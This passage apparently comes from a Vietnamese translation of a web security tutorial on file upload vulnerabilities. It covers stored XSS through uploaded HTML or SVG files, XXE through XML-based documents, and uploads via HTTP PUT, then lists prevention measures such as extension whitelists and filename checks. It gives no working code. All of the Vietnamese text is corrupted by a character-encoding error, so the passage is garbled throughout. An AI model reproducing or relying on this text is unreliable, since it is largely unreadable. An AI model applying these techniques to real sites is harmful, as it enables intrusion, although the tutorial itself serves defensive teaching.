Mแบทc dรน khรดng thแป thแปฑc thi tแบญp lแปnh trรชn mรกy chแปง, nhฦฐng bแบกn vแบซn cรณ thแป tแบฃi lรชn tแบญp lแปnh cho cรกc cuแปc tแบฅn cรดng phรญa mรกy khรกch. Vรญ dแปฅ, nแบฟu bแบกn cรณ thแป tแบฃi lรชn tแปp HTML hoแบทc SVG, bแบกn cรณ thแป sแปญ dแปฅng <script> ฤแป tแบกo payload Stored XSS.
Nแบฟu tแปp ฤรฃ tแบฃi lรชn sau ฤรณ xuแบฅt hiแปn mแปt trang ฤฦฐแปฃc ngฦฐแปi dรนng khรกc truy cแบญp, thรฌ trรฌnh duyแปt cแปงa hแป sแบฝ thแปฑc thi tแบญp lแปnh khi cแป gแบฏng hiแปn thแป trang. Lฦฐu รฝ rแบฑng do cรกc hแบกn chแบฟ vแป chรญnh sรกch, cรกc kiแปu tแบฅn cรดng nร y sแบฝ chแป hoแบกt ฤแปng nแบฟu tแปp ฤรฃ tแบฃi lรชn ฤฦฐแปฃc phรขn phรกt tแปซ mแปt nguแปn gแปc mร bแบกn tแบฃi tแปp lรชn
Exploiting vulnerabilities in the parsing of uploaded files
Nแบฟu tแปp ฤรฃ tแบฃi lรชn dฦฐแปng nhฦฐ vแปซa ฤฦฐแปฃc lฦฐu trแปฏ vแปซa ฤฦฐแปฃc phรกt tรกn an toร n, thรฌ biแปn phรกp cuแปi cรนng lร thแปญ khai thรกc cรกc lแป hแปng dร nh riรชng cho viแปc phรขn tรญch cรบ phรกp hoแบทc xแปญ lรฝ cรกc ฤแปnh dแบกng tแปp khรกc nhau. Vรญ dแปฅ, bแบกn biแบฟt rแบฑng mรกy chแปง phรขn tรญch cรบ phรกp cรกc tแปp dแปฑa trรชn XML, chแบณng hแบกn nhฦฐ Microsoft Office cรกc tแปp .doc hoแบทc .xls. ฤรขy cรณ thแป lร vector tiแปm nฤng cho cรกc cuแปc XXE injection
Uploading files using PUT
Cแบงn chรบ รฝ rแบฑng, mแปt sแป mรกy chแปง web cรณ thแป ฤฦฐแปฃc cแบฅu hรฌnh ฤแป hแป trแปฃ yรชu cแบงu PUT. Nแบฟu khรดng cรณ biแปn phรกp phรฒng vแป thรญch hแปฃp, ฤiแปu nร y cรณ thแป cung cแบฅp mแปt phฦฐฦกng tiแปn thay thแบฟ ฤแป tแบฃi lรชn cรกc tแปp ฤแปc hแบกi, nay cแบฃ khi chแปฉc nฤng tแบฃi lรชn khรดng khแบฃ dแปฅng qua giao diแปn web.
How to prevent file upload vulnerabilities
Viแปc cho phรฉp ngฦฐแปi dรนng tแบฃi lรชn tแปp lร phแป biแบฟn vร khรดng nguy hiแปm miแป n lร bแบกn thแปฑc hiแปn cรกc biแปn phรกp phรฒng ngแปซa ฤรบng ฤแบฏn. Nรณi chung, cรกch hiแปu quแบฃ nhแบฅt ฤแป bแบฃo vแป trang web cแปงa bแบกn khแปi nhแปฏng lแป hแปng nร y lร thแปฑc hiแปn tแบฅt cแบฃ cรกc phฦฐฦกng phรกp sau:
Kiแปm tra phแบงn mแป rแปng tแปp dแปฑa trรชn danh sรกch trแบฏng vร danh sรกch ฤen cรกc phแบงn mแป rแปng bแป cแบฅm. Viแปc ฤoรกn tiแปn รญch mแป rแปng nร o bแบกn cรณ thแป muแปn cho phรฉp sแบฝ dแป dร ng hฦกn nhiแปu so vแปi viแปc ฤoรกn tiแปn รญch mแป rแปng nร o mร kแบป tแบฅn cรดng cรณ thแป cแป tแบฃi lรชn.
ฤแบฃm bแบฃo rแบฑng tรชn tแปp khรดng chแปฉa bแบฅt kแปณ chuแปi con nร o cรณ thแป ฤฦฐแปฃc hiแปu lร thฦฐ mแปฅc hoแบทc trรฌnh tแปฑ truyแปn tแบฃi (../)
ฤแปi tรชn cรกc tแปp ฤรฃ tแบฃi lรชn ฤแป trรกnh xung ฤแปt cรณ thแป khiแบฟn cรกc tแปp hiแปn cรณ bแป ghi ฤรจ.
Khรดng tแบฃi tแปp lรชn hแป thแปng cแป ฤแปnh cแปงa mรกy chแปง cho ฤแบฟn khi chรบng ฤฦฐแปฃc xรกc thแปฑc ฤแบงy ฤแปง.
Last updated